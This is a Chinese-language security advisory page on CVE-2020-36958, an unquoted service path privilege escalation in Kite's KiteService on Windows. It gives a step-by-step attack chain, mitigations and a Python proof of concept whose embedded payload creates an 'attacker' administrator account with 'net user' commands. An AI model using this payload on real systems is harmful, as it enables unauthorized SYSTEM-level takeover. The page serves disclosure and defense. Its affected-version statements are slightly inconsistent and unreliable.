IPBUF安全漏洞报告
English
CVE-2020-36958 CVSS 7.8 高危

CVE-2020-36958 KiteService未引用服务路径权限提升漏洞

披露日期: 2026-01-26

漏洞信息

漏洞编号
CVE-2020-36958
漏洞类型
未引用服务路径
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Kite (KiteService.exe)

相关标签

未引用服务路径权限提升本地攻击Windows服务KiteKiteService高危漏洞CVE-2020-36958

漏洞概述

CVE-2020-36958是Kite软件中存在的未引用服务路径(Unquoted Service Path)漏洞。该漏洞影响Kite 1.2020.1119.0版本中的KiteService Windows服务。由于服务路径'C:\Program Files\Kite\KiteService.exe'未使用引号包裹,Windows服务控制管理器在启动服务时会按照空格分隔的路径依次查找可执行文件。攻击者可以通过在中间路径(如C:\Program.exe或C:\Program Files\Kite.exe)放置恶意可执行文件来实现权限提升。成功利用此漏洞需要攻击者具有本地低权限访问能力,且无需用户交互即可执行。攻击者利用此漏洞可以在系统上以提升后的权限执行任意代码,获取对受影响系统的完全控制权。该漏洞的CVSS评分为7.8,属于高危漏洞,对系统的机密性、完整性和可用性均造成严重影响。

技术细节

未引用服务路径漏洞是一种Windows本地权限提升漏洞。当Windows服务配置中的可执行文件路径包含空格且未被引号包裹时,服务控制管理器(SCM)在启动服务时会按照路径中空格分隔的各个部分依次查找可执行文件。以KiteService为例,其服务路径为'C:\Program Files\Kite\KiteService.exe',由于未使用引号,Windows会依次尝试执行:C:\Program.exe、C:\Program Files\Kite.exe,然后才会正确执行C:\Program Files\Kite\KiteService.exe。攻击者利用此特性,在受影响的系统上创建恶意的可执行文件(如Program.exe或Kite.exe),并将其放置在相应的路径位置。当管理员或系统重启服务时,Windows会优先执行攻击者放置的恶意程序。由于KiteService通常以SYSTEM权限运行,恶意程序也将继承SYSTEM权限,从而实现权限提升。攻击者需要具备在系统目录写入文件的权限才能成功利用此漏洞。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者首先识别目标系统上是否存在Kite软件及其KiteService服务。通过检查服务配置确认服务路径为'C:\Program Files\Kite\KiteService.exe'且未被引号包裹。
STEP 2
步骤2: 路径分析
分析未引用路径中的空格分隔点。Windows服务控制管理器会依次尝试执行:C:\Program.exe、C:\Program Files\Kite.exe,然后才正确执行KiteService.exe。
STEP 3
步骤3: 权限检查
攻击者需要确认自己具有在系统目录(如C:\)或C:\Program Files\Kite\目录写入文件的权限。通常需要本地低权限账户即可实施攻击。
STEP 4
步骤4: 恶意程序部署
攻击者创建一个恶意可执行文件(如Kite.exe),包含权限提升代码(如创建管理员账户),并将其放置在未引用路径的某个查找点上。
STEP 5
步骤5: 服务重启触发
等待服务重启(系统更新、计划任务或手动重启)或通过特定条件触发服务重启。KiteService启动时,Windows会优先执行攻击者放置的恶意程序。
STEP 6
步骤6: 权限提升
恶意程序以SYSTEM权限(继承自KiteService服务)执行,成功实现权限提升。攻击者获得系统完全控制权,可执行任意代码、安装后门或窃取敏感数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2020-36958 PoC - KiteService Unquoted Service Path # This PoC demonstrates the unquoted service path vulnerability in KiteService import os import sys import subprocess import shutil def check_vulnerability(): """Check if the system is vulnerable to CVE-2020-36958""" try: # Check if KiteService exists kite_service_path = r'C:\Program Files\Kite\KiteService.exe' if not os.path.exists(kite_service_path): print('[-] KiteService not found - target may not be vulnerable') return False # Check service configuration using sc command result = subprocess.run( ['sc', 'qc', 'KiteService'], capture_output=True, text=True ) if 'BINARY_PATH_NAME' in result.stdout: # Extract the binary path for line in result.stdout.split('\n'): if 'BINARY_PATH_NAME' in line: print(f'[+] Service configuration found: {line.strip()}') # Check if path is unquoted (vulnerability exists) if '"' not in line and 'Program Files' in line: print('[+] VULNERABLE: Service path is unquoted!') return True else: print('[-] Service path is properly quoted') return False return False except Exception as e: print(f'[-] Error checking vulnerability: {e}') return False def create_elevated_payload(payload_path): """Create a malicious executable to be placed in unquoted path""" # This is a placeholder - in real attack, this would be malicious code malicious_code = f''' #include <windows.h> #include <stdio.h> int main() {{ printf("CVE-2020-36958 Payload Executed!\\n"); // Add malicious code here // This will run with SYSTEM privileges // Example: Create a new user with admin privileges system("net user attacker P@ssw0rd123 /add"); system("net localgroup Administrators attacker /add"); return 0; }} ''' with open(payload_path, 'w') as f: f.write(malicious_code) print(f'[+] Payload created at: {payload_path}') def main(): print('='*60) print('CVE-2020-36958 - KiteService Unquoted Service Path') print('='*60) if not check_vulnerability(): print('[-] Target is not vulnerable') return print('\n[!] This is for educational purposes only!') print('[!] Unauthorized access to computer systems is illegal.') # Potential injection points injection_points = [ r'C:\Program.exe', r'C:\Program Files\Kite.exe' ] print('\n[+] Potential injection points:') for point in injection_points: print(f' - {point}') print('\n[+] To demonstrate the vulnerability:') print(' 1. Place a malicious executable at one of the injection points') print(' 2. Restart the KiteService or reboot the system') print(' 3. The malicious code will execute with SYSTEM privileges') if __name__ == '__main__': main()

影响范围

Kite < 1.2020.1119.0

防御指南

临时缓解措施
作为临时缓解措施,可以采取以下行动:1) 检查KiteService服务的BINARY_PATH_NAME配置,确认路径是否被引号包裹;2) 如果服务路径未使用引号,联系Kite官方获取补丁或升级到最新版本;3) 限制非管理员用户对C:\Program Files和C:\目录的写入权限,防止攻击者部署恶意程序;4) 使用Windows内置的icacls工具设置目录权限,例如:icacls "C:\Program Files\Kite" /inheritance:r /grant:r "NT AUTHORITY\SYSTEM:(OI)(CI)F" "BUILTIN\Administrators:(OI)(CI)F";5) 监控安全日志中的异常服务启动事件;6) 如果暂时无法升级,考虑禁用KiteService服务直到补丁可用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表